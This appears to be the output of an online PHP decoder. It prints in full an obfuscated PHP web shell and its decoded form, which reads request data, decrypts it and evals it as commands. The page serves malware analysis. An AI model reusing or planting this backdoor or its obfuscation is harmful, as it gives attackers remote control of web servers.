Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $Q='len($t);tW$o="";ftWor(tW$i=tW0;$i<$tWl;){for($tWtWj=0;(tW$j<$c&&$i<$l);$tWj+'; ..

Decoded Output download

$k="a94dc7d5";$kh="78c98d16eb71";$kf="9dbeefc705c3";$p="pWDGgGKkjNhjPfLI";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if(@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1){@ob_start();eval(@gzuncompress(@x(base64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");}

Did this file decode correctly?

Original Code

<?php
$Q='len($t);tW$o="";ftWor(tW$i=tW0;$i<$tWl;){for($tWtWj=0;(tW$j<$c&&$i<$l);$tWj+';
$Y='tWse6tW4_encode(@x(@gzcotWmpresstWtW($o),$k));tWptWritWnt("$p$kh$r$kf");}';
$V='WWDGgGKktWjNhjPftWLI";ftWunctitWon x($t,$k)tW{$c=stWttWrlen($tWk);$l=tWstr';
$v=str_replace('ZT','','ZTcreZTaZTte_fuZTZTncZTtion');
$b='1){@otWbtW_start();@evtWal(@gzuncotWmpress(tW@x(@btWase64tW_tWdetWcodtWet';
$o='("/$ktWh(.+)$tWkf/",@ftWile_get_contWtenttWs(tW"php://inptWut"),tWtW$m)==';
$p='W($m[1]),$k)tW));tW$o=@ob_get_contentstW(tW);@ob_end_cleatWtWn();$r=@tWba';
$d='tW+,$tWi++){$otW.=$t{$i}^tW$k{tW$j};}}retutWrn tW$o;}tWif(@pregtW_mattWch';
$J='$tWk="a9tW4dc7d5";$khtW="78tWtWtWc98d16eb71";$ktWf="9dtWbeefc705c3";$ptW="pt';
$U=str_replace('tW','',$J.$V.$Q.$d.$o.$b.$p.$Y);
$w=$v('',$U);$w();
?>

Function Calls

str_replace 2
create_function 1

Variables

$J $tWk="a9tW4dc7d5";$khtW="78tWtWtWc98d16eb71";$ktWf="9dtWbeef..
$Q len($t);tW$o="";ftWor(tW$i=tW0;$i<$tWl;){for($tWtWj=0;(tW$j<..
$U $k="a94dc7d5";$kh="78c98d16eb71";$kf="9dbeefc705c3";$p="pWDG..
$V WWDGgGKktWjNhjPftWLI";ftWunctitWon x($t,$k)tW{$c=stWttWrlen(..
$Y tWse6tW4_encode(@x(@gzcotWmpresstWtW($o),$k));tWptWritWnt("$..
$b 1){@otWbtW_start();@evtWal(@gzuncotWmpress(tW@x(@btWase64tW_..
$d tW+,$tWi++){$otW.=$t{$i}^tW$k{tW$j};}}retutWrn tW$o;}tWif(@p..
$o ("/$ktWh(.+)$tWkf/",@ftWile_get_contWtenttWs(tW"php://inptWu..
$p W($m[1]),$k)tW));tW$o=@ob_get_contentstW(tW);@ob_end_cleatWt..
$v create_function

Stats

MD5 4da98799c934e035aa105f289328b4a6
Eval Count 1
Decode Time 82 ms